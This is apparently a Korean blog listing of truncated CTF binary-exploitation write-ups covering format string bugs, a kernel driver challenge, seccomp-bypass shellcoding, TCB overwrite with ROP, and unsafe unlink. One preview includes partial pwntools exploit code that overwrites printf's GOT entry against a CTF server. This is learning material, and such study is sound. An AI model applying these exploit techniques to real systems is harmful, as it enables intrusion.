보호되어 있는 글입니다.
fsb 연습1일 1pwn으로다가 fsb연습할려고 오늘은 핵씨탭 잡았다.basic_fsb빼고 두번째로 해보는 fsb공격이였다..어려웠는데 재밌었다 You_are_silver binary summary2byte boffsbfrom pwn import * p = remote("ctf.j0n9hyun.xyz", 3022) #p = process("./you_are_silver") e = ELF("./you_are_silver") l = e.libc flag = 0x4006d7 # 4196055 log.info(hex(e.got['printf'])) pay = "%4196055c" + "%8$lln" + "A" + p64(e.got['printf']) pay = pay.ljust(0x2d, 'Z') p..
CISCN ctf - babydriver오랜만에 잡아보는 kernel문제임미다.어제는 문제하나 만드느라 1일 1pwn 패스~ binary summaryshippppppppppppppp tric~fork() -> copy_creds() -> prepare_creds -> kmem_cache_alloc() cred 메모리 할당 사이즈에 맞는 kmalloc슬랩 캐시 인덱스를 선택하는 방법kmema_cache_alloc_trace() => 직접 주소와 사이즈를 주는 방법 쉽게 말해서 실제로 할당하는 루틴이 있는 부분은 저 두함수다.알고가면 좋을 것 같아서 적는다. release close할때는 그냥 device_buf안에 있는 함수를 kfree해준다. ioctl 두번째 인자로 command, 3번째 인자로 si..
christmas ctf - babyseccomp christmas ctf에서 나왔던 babyseccomp이다. 쉘코딩을 잘 못해서 라업의 도움을 조금 받았다 ㅠㅠ binary summary error based shellcoding Exploit vector 전형적인 쉘코딩 문제답게 다음과 같이 seccomp filtering을 설정해주고, 입력받은걸 실행해준다. 여기서 쉘따는건 힘들어보이므로 orw를 해야한다. 바이너리 자체에서 /flag를 open해주기에 우리는 read, write만 수행하면 된다. read read는 다음과 같은 두가지 방법으로 우회할 수 있다. rax = 0x4000000 mmap(1, 0x1000, 4, 1, fd(3), 0, 9) rax = 0x4000000 seccomp ..
codegate 2017 - aeiou2017 codegate에서 나온 문제이다.되게 어려워보이는 문제지만 알고나면 이보다 더 쉬운문제는 없을 것 같당.바로보자 binary summaryPthreadTCB overwriteThread Control Block ( TCB ) BofSimple Rop 다른 쓰레드에서 터지는 bof를 이용해서 간단한 rop + TCB sturct overwrite를 수행해야한다. Vulnvoid *__fastcall start_routine(void *a1) { unsigned __int64 v2; // [rsp+8h] [rbp-1018h] char s; // [rsp+10h] [rbp-1010h] unsigned __int64 v4; // [rsp+1018h] [rbp-8h..
hitcon - stkof ( unsafe unlink )처음 풀어보는 unsafe unlink 문제이다.사실은... secret holder를 풀려고했는데 unsafe unlink기법도 익숙하지 않고, 한번도 해본적이 없기 때문에 연습삼아서 쉬운문제를 골랐당.binary summaryheap overflowunsafe unlinkgot overwriteunsafe unlink대충 fake chunk로 unlink매크로의 호출 루틴에서 여러 보호체크를 우회하고 전역변수에 존재하는 값을 조작하는 기법이다.핵심은 fake chunk를 두개 존재하게 한다는 것이다.heap a, b를 할당하고 전역변수 c가 존재할때heap a속에다가 fake chunk a-1을 생성. fake chunk a-1의 fd , bk..